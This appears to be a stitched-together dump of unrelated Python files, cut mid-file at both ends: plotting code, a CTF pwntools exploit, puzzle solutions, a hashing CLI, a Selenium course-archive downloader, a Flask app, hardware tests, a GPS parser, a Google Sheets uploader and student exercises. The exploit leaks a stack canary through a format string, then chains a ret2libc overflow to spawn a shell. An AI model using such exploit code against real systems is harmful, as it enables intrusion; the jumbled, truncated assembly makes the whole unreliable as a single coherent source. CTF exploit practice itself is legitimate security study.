   plt.hist([bananas[huN,:], oranges[huN,:],lemons[huN,:]], bins,label=['B', 'O','L'],density = True)

   plt.title('Hu'+str(huN))

   '''Hu moment number 2 histogram'''
   bins = np.linspace(10,16,100)

   plt.legend(loc='upper right')
   plt.autoscale(enable=True, axis='x', tight=True)
   #plt.gca().yaxis.set_major_formatter(PercentFormatter(1))
   plt.show()


#/usr/bin/python3

from pwn import *

context.arch = 'i386'

if args.REMOTE:
    con = remote ('chals.damctf.xyz', 31312)
else:
    con = process('./cookie-monster')

# Exploit format string vulnerability to leak stack canary.
def leak_canary():
    con.recvuntil(b'Enter your name:')
    con.sendline(b'%15$p')
    con.recvuntil(b'Hello ')
    canary = con.recvline().strip()
    con.recvuntil(b'What would you like to purchase?')
    return int(canary, 16)

def main():

    # ASLR is enabled on the target system. Leak address of system
    # in stage 1 to calculate the base address of libc and perform
    # a classical ret2libc attack in stage 2.

    # Stage 1

    main       = 0x08048669
    plt_puts   = 0x08048430
    got_system = 0x0804a020

    canary = leak_canary()

    # Exploit buffer overflow vulnerability to call puts(&system)
    # and return to main to set up stage 2.
    payload = flat(
        b'A' * 32,
        canary,
        b'B' * 12,
        plt_puts,
        main,
        got_system
    )

    con.sendline(payload)

    con.recvuntil(b'Have a nice day!\n')
    libc_system = u32(con.recvline().strip()[:4].ljust(4, b'\x00'))

    # Stage 2

    libc_offset_system     = 0x03ce10
    libc_offset_str_binsh  = 0x17b88f
    libc_base              = libc_system - libc_offset_system
    libc_str_binsh         = libc_base + libc_offset_str_binsh

    canary = leak_canary()

    # Exploit buffer overflow vulnerability again to call system("/bin/sh").
    payload = flat(
        b'A' * 32,
        canary,
        b'B' * 12,
        libc_system,
        0xdeadbabe,
        libc_str_binsh
    )

    con.sendline(payload)

    con.interactive()

if __name__ == '__main__':
    main()


N = int(input())
map_list = [[0]*101 for _ in range(101)]

dirs = {0:(1,0), 1:(0,-1), 2: (-1,0), 3: (0,1)}

# d=시작방향 / g=세대
for _ in range(N):
    x, y, d, g = map(int, input().split())

    curve_list = [d]

    for _ in range(g):
        curve_list += [(i+1)%4 for i in curve_list[::-1]]

    map_list[y][x] = 1
    for curve in curve_list:
        x = x+dirs[curve][0]
        y = y+dirs[curve][1]
        map_list[y][x] = 1

cnt = 0
for i in range(100):
    for j in range(100):
        if map_list[i][j] and map_list[i][j+1] and map_list[i+1][j] and map_list[i+1][j+1]:
            cnt += 1
print(cnt)


import functools
import os
import sys
from typing import Any, Callable, Iterable, Optional, TextIO, Tuple

import click
from click import Command
from click_option_group import MutuallyExclusiveOptionGroup

from . import __version__
from .core import (
    CheckHashLineError,
    HashFileReader,
    HashFileWriter,
    ParseHashLineError,
    check_hash_line,
    generate_hash_line,
)
from .hasher import HashContext, Hasher
from .utils.click import CommandX, PathWithSuffix
from .utils.glob import glob_filters, sorted_path

class ParseHashFileError(ValueError):
    def __init__(self, hash_line: str, lineno: int) -> None:
        super().__init__(hash_line, lineno)
        self.hash_line = hash_line
        self.lineno = lineno

class Output:
    """Determine the output mode and provide the output interface."""

    def __init__(
        self, agg: Optional[str] = None, sep: Optional[bool] = None, null: Optional[bool] = None, sync: bool = False
    ) -> None:
        if (agg and sep) or (agg and null) or (sep and null):
            raise ValueError("require exactly one argument")

        # Use the null mode by default.
        if not (agg or sep or null):
            null = True

        # Determine the output mode and dump method.
        if agg:
            self.agg_file = HashFileWriter(agg)
            self._dump = self.output_agg
        elif sep:
            self._dump = self.output_sep
        elif null:
            self._dump = self.output_null

        self.sync = sync
        self.maxmtime = 0.0

    def close(self) -> None:
        try:
            agg_file = self.agg_file
        except AttributeError:
            pass
        else:
            agg_file.close()
            if self.sync:
                os.utime(agg_file.name, (self.maxmtime, self.maxmtime))

    def dump(self, hash_line: str, hash_path: str, path: str) -> None:
        self._dump(hash_line, hash_path, path)

    def output_agg(self, hash_line: str, hash_path: str, path: str) -> None:
        self.agg_file.write_hash_line(hash_line)
        if self.sync:
            mtime = os.path.getmtime(path)
            self.maxmtime = max(self.maxmtime, mtime)

    def output_sep(self, hash_line: str, hash_path: str, path: str) -> None:
        with HashFileWriter(hash_path) as f:
            f.write_hash_line(hash_line)
        if self.sync:
            mtime = os.path.getmtime(path)
            os.utime(hash_path, (mtime, mtime))

    def output_null(self, hash_line: str, hash_path: str, path: str) -> None:
        pass

class Gethash:
    """Provide uniform interface for CLI scripts."""

    stdout: TextIO
    stderr: TextIO

    glob_mode: int
    glob_type: str

    inplace: bool
    root: Optional[str]

    start: Optional[int]
    stop: Optional[int]
    dir_ok: bool

    def __init__(self, ctx: HashContext, **kwargs: Any) -> None:
        self.ctx = ctx
        self.sync = kwargs.pop("sync", False)
        self.suffix = kwargs.pop("suffix", ".sha")

        self.stdout = kwargs.pop("stdout", sys.stdout)
        self.stderr = kwargs.pop("stderr", sys.stderr)

        self.glob_mode = kwargs.pop("glob", 1)
        self.glob_type = kwargs.pop("type", "a")

        # Determine the path format.
        self.inplace = kwargs.pop("inplace", False)
        self.root = kwargs.pop("root", None)

        # Determine the output mode.
        agg = kwargs.pop("agg", None)
        sep = kwargs.pop("sep", None)
        null = kwargs.pop("null", None)
        self.output = Output(agg, sep, null, sync=self.sync)

        # Prepare arguments and construct the hash function.
        self.start = kwargs.pop("start", None)
        self.stop = kwargs.pop("stop", None)
        self.dir_ok = kwargs.pop("dir", False)
        tqdm_args = {
            "file": self.stderr,
            "ascii": kwargs.pop("tqdm_ascii", False),
            "disable": kwargs.pop("tqdm_disable", False),
            "leave": kwargs.pop("tqdm_leave", False),
        }
        self.hasher = Hasher(ctx, tqdm_args=tqdm_args)

    def __call__(self, files: Iterable[str], *, check: bool) -> None:
        if check:
            self.check_hash(files)
        else:
            self.generate_hash(files)

    def __enter__(self) -> "Gethash":
        return self

    def __exit__(self, exc_type: Any, exc_value: Any, traceback: Any) -> None:
        self.close()

    def close(self) -> None:
        self.output.close()

    def generate_hash(self, patterns: Iterable[str]) -> None:
        for path in self.glob_function(patterns):
            try:
                root = self.check_root(path)
                hash_line = generate_hash_line(path, self.hash_function, root=root)
                hash_path = path + self.suffix
                self.output.dump(hash_line, hash_path, path)
            except Exception as e:
                self.echo_exception(path, e)
            else:
                # The hash line already has a newline.
                self.echo(hash_line, nl=False)

    def check_hash(self, patterns: Iterable[str]) -> None:
        for hash_path in self.glob_function(patterns):
            try:
                self._check_hash(hash_path)
            except ParseHashFileError as e:
                # Strip newline for pretty printing.
                hash_line = e.hash_line.rstrip("\n")
                msg = f"[ERROR] invalid hash '{hash_line}' in '{hash_path}' at line {e.lineno}"
                self.echo_error(msg, fg="white", bg="red")
            except Exception as e:
                self.echo_exception(hash_path, e)

    def _check_hash(self, hash_path: str) -> None:
        maxmtime = 0.0
        for i, hash_line in enumerate(HashFileReader(hash_path)):
            try:
                root = self.check_root(hash_path)
                path = check_hash_line(hash_line, self.hash_function, root=root)
                maxmtime = max(maxmtime, os.path.getmtime(path))
            except ParseHashLineError as e:
                raise ParseHashFileError(e.hash_line, i)
            except CheckHashLineError as e:
                self.echo(f"[FAILURE] {e.path}", fg="red")
            else:
                self.echo(f"[SUCCESS] {path}", fg="green")
        if self.sync:
            os.utime(hash_path, (maxmtime, maxmtime))

    def check_root(self, path: str) -> Optional[str]:
        if self.inplace:
            return os.path.dirname(path)
        return self.root

    def glob_function(self, paths: Iterable[str]) -> Iterable[str]:
        return sorted_path(
            glob_filters(paths, mode=self.glob_mode, type=self.glob_type, recursive=True, user=True, vars=True)
        )

    def hash_function(self, path: str) -> bytes:
        return self.hasher(path, self.start, self.stop, dir_ok=self.dir_ok)

    def echo(self, msg: str, **kwargs: Any) -> None:
        click.secho(msg, file=self.stdout, **kwargs)

    def echo_error(self, msg: str, **kwargs: Any) -> None:
        click.secho(msg, file=self.stderr, **kwargs)

    def echo_exception(self, path: str, exc: Exception) -> None:
        msg = f"[ERROR] {path}\n\t{type(exc).__name__}: {exc}"
        click.secho(msg, file=self.stderr, fg="red")

def script_main(ctx: HashContext, files: Tuple[str, ...], **options: Any) -> None:
    """Execute the body for the main function."""

    no_stdout = options.pop("no_stdout", False)
    no_stderr = options.pop("no_stderr", False)
    stdout = open(os.devnull, "w") if no_stdout else sys.stdout  # noqa
    stderr = open(os.devnull, "w") if no_stderr else sys.stderr  # noqa

    check = options.pop("check", False)
    with Gethash(ctx, stdout=stdout, stderr=stderr, **options) as gethash:
        gethash(files, check=check)

def gethashcli(command_name: str, display_name: str, **extras: Any) -> Callable[[Callable], Command]:
    """Apply click decorators to the main function."""

    suffix = extras.pop("suffix", "." + command_name.replace("-", "_"))
    doc = extras.pop("doc", None)

    def decorator(func: Callable) -> Command:
        if doc is not None:
            func.__doc__ = doc

        context_settings = {"help_option_names": ["-h", "--help"], "max_content_width": 120}

        path_format = MutuallyExclusiveOptionGroup("Path Format")
        output_mode = MutuallyExclusiveOptionGroup("Output Mode")

        @click.command(command_name, cls=CommandX, context_settings=context_settings, no_args_is_help=True)
        @click.argument("files", nargs=-1)
        @click.option(
            "-c",
            "--check",
            is_flag=True,
            help=f"Read {display_name} from FILES and check them.",
        )
        @click.option(
            "-y",
            "--sync",
            is_flag=True,
            help="Update mtime of hash files to the same as data files.",
        )
        @click.option(
            "-g",
            "--glob",
            type=click.IntRange(0, 2),
            metavar="[0|1|2]",
            default=1,
            show_default=True,
            help="Set glob mode. If ``0``, disable glob pathname pattern; if ``1``, "
            "resolve ``*`` and ``?``; if ``2``, resolve ``*``, ``?`` and ``[]``.",
        )
        @click.option(
            "-t",
            "--type",
            type=click.Choice(["a", "d", "f"]),
            default="a",
            show_default=True,
            help="Set file type. If ``a``, include all types; if ``d``, include "
            "directories; if ``f``, include files.",
        )
        @path_format.option("-i", "--inplace", is_flag=True, help="Use basename in checksum files.")
        @path_format.option(
            "-z",
            "--root",
            type=click.Path(exists=True, file_okay=False),
            help="The path field in checksum files is relative to the root directory.",
        )
        @output_mode.option(
            "-o",
            "--agg",
            type=PathWithSuffix(suffix=suffix, dir_okay=False),
            help="Set the aggregate output file.",
        )
        @output_mode.option("-s", "--sep", is_flag=True, help="Separate output files.")
        @output_mode.option(
            "-n",
            "--null",
            is_flag=True,
            help="Do not output to files. This is the default output mode.",
        )
        @click.option("--start", type=click.IntRange(min=0), help="The start offset of files.")
        @click.option("--stop", type=click.IntRange(min=0), help="The stop offset of files.")
        @click.option(
            "-d",
            "--dir",
            is_flag=True,
            help="Allow checksum for directories. Just xor each checksum of files in a given directory.",
        )
        @click.option("--no-stdout", is_flag=True, help="Do not output to stdout.")
        @click.option("--no-stderr", is_flag=True, help="Do not output to stderr.")
        @click.option("--tqdm-ascii", type=click.BOOL, default=False, show_default=True)
        @click.option("--tqdm-disable", type=click.BOOL, default=False, show_default=True)
        @click.option("--tqdm-leave", type=click.BOOL, default=False, show_default=True)
        @click.version_option(__version__, "-V", "--version", prog_name=command_name)
        @functools.wraps(func)
        def wrapper(*args: Any, **kwargs: Any) -> Any:
            kwargs.setdefault("suffix", suffix)
            return func(*args, **kwargs)

        return wrapper

    return decorator


from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import time
import pickle
import os

#put url here
#example_url= "https://archive.thehated3.workers.dev/0:/Station%20X%20-%20The%20Complete%20Cyber%20Security%20Course!/"
durl= "https://archive.thehated3.workers.dev/0:/Station%20X%20-%20The%20Complete%20Cyber%20Security%20Course!/"

#put local path to download here, leave '.' to download in current directory
#example_path="./Station_X_The_Complete_Cyber_Security_Course"
dpath="."

count=0
rcount=0
failed_links=[]
failed_paths=[]

def download(url,path):
    global count, failed_links, failed_paths
    fireFoxOptions = webdriver.FirefoxOptions()
    fireFoxOptions.add_argument("--headless")
    # brower = webdriver.Firefox(firefox_options=fireFoxOptions)

    driver = webdriver.Firefox(executable_path="./geckodriver.exe",options=fireFoxOptions)
    driver.get(url)

    time.sleep(3)
    previous_height=driver.execute_script('return document.body.scrollHeight')
    while True:
        driver.execute_script('window.scrollTo(0, document.body.scrollHeight);')
        time.sleep(3)
        new_height=driver.execute_script('return document.body.scrollHeight')

        if new_height==previous_height:
            break
        previous_height=new_height

    try:
        element = WebDriverWait(driver,100).until(EC.presence_of_element_located((By.CLASS_NAME, "list-group-item")))
    except:
        count+=1
        print(f"FILE NOT DOWNLOADED:\npath: {path}\n count:{count}")
        print("TIMEOUT not LOADING ELEMENTS BY CLASS NAME list-grout-items EXCEPTION")
        return

    tuna=driver.find_elements_by_class_name("list-group-item")
    dlinks=[]

    for i in tuna:

        folder=i.get_attribute('href')
        if folder==None:
            target_urls=i.find_elements_by_css_selector('a')
            furl=target_urls[1].get_attribute('href')
            dlinks.append(furl)
        else:
            fname=i.text
            formated_folder_name=fname.replace(" ","-")
            new_path=path+"/"+formated_folder_name
            download(folder,new_path)

    for x in dlinks:
        # print(x)
        # cmd=f'wget -c -P '+'"'+f'{path}'+'" '+'"'+ f'{x}'+'"'
        print(f"****DOWNLOADING IN PATH****: {path}\nfiles_skipped_till_now={count} \n\n")
        failure=os.system(f"""wget -c -P "{path}" "{x}" """)
        if failure != 0:
            count+=1
            failed_links.append(x)
            failed_paths.append(path)
            print(f"FILE NOT DOWNLOADED:\npath: {path}\nfile: {x}\n count:{count}")

    driver.close()

def direct_download(dd_url,dd_path):
    rfc=os.system(f"""wget -c -P "{dd_path}" "{dd_url}" """)
    return rfc

def retry():
    global rcount
    new_links=[]
    new_paths=[]
    rcount=0
    try:
        failed_file_open=open("failed_links_info.pickle","rb")
    except:
        print('failed_links_info NOT Available, ABORTING...')
        return

    get_failed=pickle.load(failed_file_open)
    fetch_links=get_failed[0]
    fetch_paths=get_failed[1]
    failed_file_open.close()

    link_size=len(fetch_links)

    for k in range(link_size):
        l=fetch_links[k]
        p=fetch_paths[k]
        status=direct_download(l,p)
        if status!=0:
            rcount+=1
            new_links.append(l)
            new_paths.append(p)
            print(f"FILE NOT DOWNLOADED:\npath: {p}\nfile: {l}\n count:{rcount}")

    print(f"Number of files not downloaded: {rcount}")
    nf=len(new_paths)
    o_again=open("failed_links_info.pickle","wb")
    m_list=[new_links,new_paths]
    pickle.dump(m_list,o_again)
    o_again.close()

    for e in range(nf):
        ww=new_paths[e]
        tt=new_links[e]
        print(f"{ww}\n{tt}\n\n")

if __name__=='__main__':

    ui=input("Choose:\n1.Retry failed downloads\n2.Download from new link provided\nChoose either '1' or ('2') :")
    if ui==1 or ui=='1':
        retry()
    else:
        download(durl,dpath)
        print(f"Number of files not downloaded: {count}")
        number_failed=len(failed_paths)
        fo=open("failed_links_info.pickle","wb")
        combined_list=[failed_links,failed_paths]
        pickle.dump(combined_list,fo)
        fo.close()

        for i in range(number_failed):
            a=failed_paths[i]
            b=failed_links[i]
            print(f"{a}\n{b}\n\n")

        user_input=input("Do you want to retry {count} failed downloads? (Y)/N : ")
        if user_input.lower()=='n':
            pass
        else:
            retry()

    # print(turl)


import os
from flask import Response,Flask, request
from flask_cors import CORS
from insgraph import util, instagram

def create_app(test_config=None):
    """Create and configure an instance of the Flask application."""
    app = Flask(__name__, instance_relative_config=True)
    print("zhuangjb flask start.....:"+__name__)
    CORS(app)
    app.config.from_mapping(
        # a default secret that should be overridden by instance config
        SECRET_KEY='dev',
        # store the database in the instance folder
        DATABASE=os.path.join(app.instance_path, 'insgraph.sqlite'),
    )

    if test_config is None:
        # load the instance config, if it exists, when not testing
        app.config.from_pyfile('config.py', silent=True)
    else:
        # load the test config if passed in
        app.config.update(test_config)

    # ensure the instance folder exists
    try:
        os.makedirs(app.instance_path)
    except OSError:
        pass

    @app.route('/hello')
    def hello():
        return 'Hello, World!'

    @app.before_request
    def option_replay():
        if request.method =='OPTIONS':
            resp = Response('')
            print('xxx')
            resp.headers['Access-Control-Allow-Origin'] = '*'
            resp.headers['Access-Control-Allow-Headers'] = '*'
            resp.headers['Access-Control-Request-Method'] = request.headers['Access-Control-Request-Method']
            return resp

    # @app.after_request
    # def set_allow_origin(resp):
    #     h = resp.headers
    #     if request.method != 'OPTIONS' and 'Origin' in request.headers:
    #         h['Access-Control-Allow-Origin'] = request.headers['Origin']

    # register the database commands
    from insgraph import db
    db.init_app(app)

    # apply the blueprints to the app
    from insgraph import auth, user,case
    app.register_blueprint(auth.bp)
    app.register_blueprint(user.bp)
    app.register_blueprint(case.bp)
    app.register_blueprint(instagram.bp)

    # make url_for('index') == url_for('blog.index')
    # in another app, you might define a separate main index here with
    # app.route, while giving the blog blueprint a url_prefix, but for
    # the tutorial the blog will be the main index
    app.add_url_rule('/', endpoint='index')

    return app


import os

import pytest
import logging
import cocotb

from cocotb.clock import Clock, Timer
from cocotb.binary import BinaryValue
from cocotb.runner import get_runner
from cocotb.triggers import FallingEdge

from cocotbext.uart import UartSource, UartSink

src_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
tests_dir = os.path.dirname(os.path.abspath(__file__))
sim_build = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sim_build", "soc")

@cocotb.test()
async def check_uart_recv(dut):
    """ Test that UART is working """
    clock = Clock(dut.clk, 10, units="ns")  # Create a 10us period clock on port clk
    cocotb.start_soon(clock.start())  # Start the clock

    log = logging.getLogger(f"check_uart_recv")

    dut.RESET.value = BinaryValue('1')
    await FallingEdge(dut.clk)

    dut.RESET.value = BinaryValue('0')
    await FallingEdge(dut.clk)

    rxd = UartSource(dut.RXD, baud=115200, bits=8)
    txd = UartSink(dut.TXD, baud=115200, bits=8)

    await rxd.write(b'ABCDE')

    for i in range(int(1e9/115200/10) * 10):
        await FallingEdge(dut.clk)
    val = await txd.read()
    assert val == b'E'

"""
    LI(gp, 32'h0200_0000);
    ADD(x12,x0,x0);
    ADDI(x2,x0,65);
    Label(L0_);
      LW(x12, gp, 8);
      BNE(x12, x2, LabelRef(L0_));
    SW(x12, gp, 8);
    EBREAK();
"""
@pytest.mark.skip(reason="no way of currently testing this")
def test_runner():
    verilog_sources = [os.path.join(src_dir, "main", "soc.sv")]
    sim = os.getenv("SIM", "icarus")
    runner = get_runner(sim)()
    os.makedirs(os.path.abspath(sim_build), exist_ok=True)
    with open(os.path.abspath(os.path.join(sim_build, "cmd.f")), 'w') as cmd:
        cmd.write('+timescale+1ns/1ps')
    runner.build(
        verilog_sources=verilog_sources,
        toplevel="soc",
        defines=["DEFINE=4", "BENCH=1"],
        includes=[os.path.join(src_dir, "main")],
        extra_args=[
            '-s', 'soc',
            '-f', os.path.abspath(os.path.join(sim_build, "cmd.f"))
        ],
        build_dir=sim_build
    )

    runner.test(
        python_search=[tests_dir],
        toplevel="soc",
        py_module="test_soc",
    )


from tkinter import *

main = Tk()
main.resizable(width=False, height=False)
main.config(bg="#2d3436")
main.title("Disappearing text App")

stop_writing_id = 'after'  # store id of the scheduled call to traduire
main_text = Label(main, text="Start typing and text will disappear after a few seconds...", fg="#dfe6e9", font=("Helvetica", 18), pady=20, padx=20, bg="#2d3436")
main_text.grid(row=0, column=0)
entry = Text(main, wrap=WORD, relief=FLAT, padx=14, pady=15, fg="#dfe6e9", font=("Helvetica", 14))
entry.grid(row=1, column=0)
entry.configure({"background": "#2d3436"})
entry.focus()

def wipe_text():
    entry.delete('1.0', END)

def stop_writing(event):
    global stop_writing_id
    main.after_cancel(stop_writing_id)  # cancel previous scheduling of traduire
    stop_writing_id = main.after(6000, wipe_text)  # wait 1s and execute traduire

entry.bind('<KeyRelease>', stop_writing)

main.mainloop()


import serial
import datetime as dt
import sys

class gps:
    def __init__(self, port = "/dev/serial0"):
        # Initializes serial connection for gps communication
        try:
            self.__ser = serial.Serial(port)
        except Exception as e:
                        sys.exit("Can not connect with GPS using uart: " + str(e))

    def get_record(self):
        # For 50 times tries to read GPRMC record from gps in form of strings
        got_record = False
        for _ in range(50):
            gps_record = self.__ser.readline().decode('UTF-8')
            if gps_record[0:6] == "$GPRMC":
                got_record = True
                break

        if got_record == True:
            data = gps_record.split(",")
            if data[2] == 'A':
                self._status = "Correct"

                # GMT time
                if is_number(data[1][0:2]) and is_number(data[1][2:4]) and is_number(data[1][4:6]):
                    self._time = data[1][0:2] + ":" + data[1][2:4] + ":" + data[1][4:6]
                else:
                    self._time = dt.datetime.now().strftime('[%H:%M:%S]')
                    self._status = "Corrupted data"

                # Latitude
                if (is_number(data[3])):
                    self._latitude = data[3]
                else:
                    self._status = "Corrupted data"

                # Latitude direction N/S
                self._hemisphere_NS = data[4]

                # Longitude
                if (is_number(data[5])):
                    self._longitude = data[5]
                else:
                    self._status = "Corrupted data"

                # Longitude direction W/E
                self._hemisphere_WE = data[6]

                # Velocity in knots
                if (is_number(data[7])):
                    self._velocity = data[7]
                else:
                    self._status = "Corrupted data"

                # True course
                if (is_number(data[8])):
                    self._course = data[8]
                elif data[8] == '':
                    self._course = 0;
                else:
                    self._status = "Corrupted data"

                # Date
                if is_number(data[9][4:6]) and is_number(data[9][2:4]) and is_number(data[9][0:2]):
                    self._date = data[9][4:6] + "-" + data[9][2:4] + "-" + data[9][0:2]
                else:
                    self._status = "Corrupted data"

                if self._status == "Correct":
                    return 0
                else:
                    return 1
            else:
                self._status = "Signal lost"
                self._time = dt.datetime.now().strftime('%H:%M:%S')
                self._date = dt.datetime.now().strftime('%Y-%m-%d')

                return 1
        else:
            self._status = "Connection error"
            self._time = dt.datetime.now().strftime('%H:%M:%S')
            self._date = dt.datetime.now().strftime('%Y-%m-%d')

            return 1

    def _decode(self, coord):
        #Converts DDDMM.MMMMM to DD deg MM.MMMMM min
        tmp = coord.split(".")
        deg = tmp[0][0:-2]
        mins = tmp[0][-2:]
        return deg + " deg " + mins + "." + tmp[1] + " min"

    def get_gps_time(self):
        # Returns date and time or 1 if fails to obtain them
        if (self.get_record()):
            return 1
        else:
            return self._date + " " + self._time

    def get_decimal_degrees_record(self):
        # Read from GPS and get current location parameters dictionary in decimal_degrees
        if (self.get_record() == 0):
            hemi_NE_sign = "+" if self._hemisphere_NS == "N" else "-"
            hemi_WE_sign = "+" if self._hemisphere_WE == "E" else "-"

            pos = self._latitude.find('.')
            lat_deg = self._latitude[:pos-2]
            lat_mins = self._latitude[pos-2:pos] + self._latitude[pos+1:]
            lat_mins = str(round(float(lat_mins) / 60.0))

            pos = self._longitude.find('.')
            lng_deg = self._longitude[:pos-2]
            lng_mins = self._longitude[pos-2:pos] + self._longitude[pos+1:]
            lng_mins = str(round(float(lng_mins) / 60.0))

            return {
                'timestamp' : self.get_gps_time(),
                'status' : self._status,
                'latitude' : float(hemi_NE_sign + lat_deg + "." + lat_mins),
                'longitude' : float(hemi_WE_sign + lng_deg + "." + lng_mins),
                'velocity' : float(self._velocity),
                'course' : float(self._course) }
        else:
            return {
                'timestamp' : self._date + " " + self._time,
                'status' : self._status,
                'latitude' : 0,
                'longitude' : 0,
                'velocity' : 0,
                'course' : 0 }

    def get_location_message(self):
        # Read from GPS and get current location in a easily readible string
        self.get_record()
        time_stamp = dt.datetime.now().strftime('[%Y-%m-%d %H:%M:%S]')

        return "%s latitude: %s(%s), longitude: %s(%s), velocity: %s, True Course: %s" %  (
            time_stamp,
            self._decode(self._latitude),
            self._hemisphere_NS,
            self._decode(self._longitude),
            self._hemisphere_NS,
            self._velocity,
            self._course)

def is_number(s):
    try:
        float(s)
        return True
    except ValueError:
        return False


import gspread
import numpy as np
import pandas as pd
from datetime import date
from datetime import datetime
import csv
import pytz
from oauth2client.service_account import ServiceAccountCredentials
import requests
#authorization
service_account = gspread.service_account(filename = 'capstone-362722-f3745d9260b7.json' )

worksheet = service_account.open('TeamLiftCyberPhysical').sheet1
rows = worksheet.row_count

scope = ["https://www.googleapis.com/auth/drive", "https://www.googleapis.com/auth/spreadsheets"]
credentials = ServiceAccountCredentials.from_json_keyfile_name('capstone-362722-f3745d9260b7.json', scope)

gc = gspread.authorize(credentials)
wb = gc.open_by_url('https://docs.google.com/spreadsheets/d/10g0fkjjrK0k9sa_ynw3O0Stdfp3leNJiJWS0MOM_b94/edit#gid=0')

#this function gets the last time the spreadsheet was updated
def getLastTimeModified():
    revisions_uri = f'https://www.googleapis.com/drive/v3/files/{wb.id}/revisions'
    headers = {'Authorization': f'Bearer {credentials.get_access_token().access_token}'}
    response = requests.get(revisions_uri, headers=headers).json()
    return response['revisions'][-1]['modifiedTime']

#this function adds data row to spreadsheets with given params
def addData(rowEntry):
    worksheet.append_row(rowEntry)

#sends a csv file line by line to the spreadhseets file on the cloud
def sendFile(filename):
    #mod_time_before = getLastTimeModified()
    sent_data = np.loadtxt(filename,delimiter=",",dtype = str, ndmin = 2)

    #lines= data_file.readlines()
    #for iter in range(len(lines)):
        #lines[iter] = lines[iter].replace('\n' , '')
        #lines[iter] = lines[iter].split(',')
    worksheet.append_rows(sent_data.tolist());
    print("sent to spreadsheet");

def replaceNewline(str):
    return str.replace("\n","")

#this function gets acknowledgement from google spreadsheets, by retreiving the last n-nows that were previously populated on the spreadsheet
# and doing an elementwise comparison with the numpy array that was just sent
def getSpreadsheetAck(filename):
    ackSuccess = False
    agg_array= np.loadtxt(filename,delimiter=",",dtype=str, ndmin = 2)
    print(agg_array)
    rowsSent = np.shape(agg_array)[0]
    colsSent = np.shape(agg_array)[1]
    #rowsSent =  np.shape(agg_array)[0]
    #colsSent = 3
    #if(len(np.shape(agg_array)) == 2):
        #colsSent = np.shape(agg_array)[1]
    #else:
        #colsSent = len(agg_array)

    all_data = np.array(worksheet.get_all_values())
    all_data_rows = np.shape(all_data)[0]
    numRemoteFields = np.shape(all_data)[1]
    print("rowsSent = ",rowsSent,"colsSent = ",colsSent,"rows in database= ", all_data_rows)
    if((numRemoteFields - 1) == rowsSent):
        print("The Number of Fields match between the local and remote database")
    remote_array = all_data[all_data_rows -rowsSent :all_data_rows:1 , 0:colsSent]

    print(remote_array)
    correctDataSent = np.array_equal(agg_array,remote_array)
    if(correctDataSent == True):
        print("The Correct Data was sent to the Database\n")
        ackSuccess = True

    if(correctDataSent == False):
         print("The Wrong Data was Sent\n")
         print("Attempting to send data again")
         print(agg_array == remote_array)
         ackSuccess = False
    return ackSuccess

        # timezone_oregon = pytz.timezone('US/Pacific')
        # time_now = (datetime.now(timezone_oregon)).strftime('%Y-%m-%d %H:%M:%S')
        # print("Data Was Updated at " + str(time_now) )

#this function updates a row in the spreadsheets file, by looking up the value of a column
#parameter columtype is the column of the data we are updating
#column val is the value of the column to look for
#rowdata is the new data that we are updating it to
def updateData(columntype,columnval,rowdata):
    mod_time_before = getLastTimeModified()
    #gets all the tabulated data is a 2D array
    full_data = worksheet.get_all_values()

    # print(full_data)
    num_rows = len(full_data)
    index = 0
    #depending on the columntype, we assign an index,
    #this index tells us which column to look inside of
    if(columntype == 'pumpvelocity'):
        index = 0
    if(columntype == 'pressure'):
        index = 1

    if(columntype == 'timestamp'):
        index = 2

    #iterates through data
    for k in range(0,num_rows):
        # print((worksheet.row_values(k))[index])
        #finds the row with the target value
        #updates that row's data with new values
        if((full_data[k])[index] == columnval):
            # print("yes")
            worksheet.update_cell(k+1,1,rowdata[0])
            worksheet.update_cell(k+1,2,rowdata[1])
            worksheet.update_cell(k+1,3,rowdata[2])
            break
    mod_time_after = getLastTimeModified()
    print("mod time before update",mod_time_before)
    print("mod time after update",mod_time_after)
    if(mod_time_before != mod_time_after):
        print("Modified at ",mod_time_after )

#this method fetches a data point given the value of a certain column
#for example it might search the data point where flow is equal to 55
def getRecord(columntype,columnval):
    full_data = worksheet.get_all_values()

    # print(full_data)
    num_rows = len(full_data)
    index = 0
    if(columntype == 'pumpvelocity'):
        index = 0
    if(columntype == 'pressure'):
        index = 1

    if(columntype == 'timestamp'):
        index = 2

    #iterates through data and returns data point that has certain value
    for k in range(0,num_rows):
        # print((worksheet.row_values(k))[index])
        if((full_data[k])[index] == columnval):
            # print("yes")
            print(full_data[k])
            record = full_data[k]
            printed_record = {"pumpvelocity":record[0],"pressure":record[1],"timestamp":record[2] }
            print(printed_record)
            return printed_record


def notas(* n, sit = False):
    '''
    -> Função para notas e situacoes de varios alunos.
    :param n: uma ou mais notas dos alunos (aceita carias).
    :param sit: valor opcional, indicando se deve ou nao adicionar a situacao.
    :return: dicionario com varias informacoes da turma.
    '''
    media = maior = menor = c = 0
    tot = len(n)
    for c in range(0, tot, 1):
        media += n[c]
        if c == 0:
            maior = n[c]
            menor = n[c]
        if n[c] > maior:
            maior = n[c]
        if n[c] < menor:
            menor = n[c]
    media /= tot

    list = {'total': tot, 'maior': maior, 'menor': menor, 'media': media}
    if sit:
        if media < 5:
            list['situacao'] = 'ruim'
        elif media < 7:
            list['situacao'] = 'razoavel'
        else:
            list['situacao'] = 'boa'
    return list

print(notas(4, 8, 7, 2.5))
print(notas(4, 8, 9, sit = True))
print(help)

'''def notas(* n, sit = False):
    //
    -> Função para notas e situacoes de varios alunos.
    :param n: uma ou mais notas dos alunos (aceita carias).
    :param sit: valor opcional, indicando se deve ou nao adicionar a situacao.
    :return: dicionario com varias informacoes da turma.
    //
    dic = {'total': len(n), 'maior': max(n), 'menor': min(n), 'media': sum(n) / len(n)}
    if sit:
        if dic['media'] < 5:
            dic['situacao'] = 'ruim'
        elif dic['media'] < 7:
            dic['situacao'] = 'razoavel'
        else:
            dic['situacao'] = 'boa'
    return dic

print(notas(4, 8, 7, 2.5))
print(notas(4, 8, 9, sit = True))
print(help(notas))
'''


# 220728
# SWEA_D1
# 14553. Game Money

# N명의 사람이 게임을 하는데, 한 판에 두 사람이 참여함
# 두 사람은 각자 1원씩 게임 머니를 내야함
# 주어진 게임 머니를 통해 최대 몇 게임을 할 수 있는지 계산하기

# N은 최대 20, 초기 게임 머니는 최대 100

T = int(input())

for t in range(1, T+1):
    N = int(input())
    N_ls = sorted(map(int, input().split()))    # 숫자 받아서 정렬
    game_n = 0
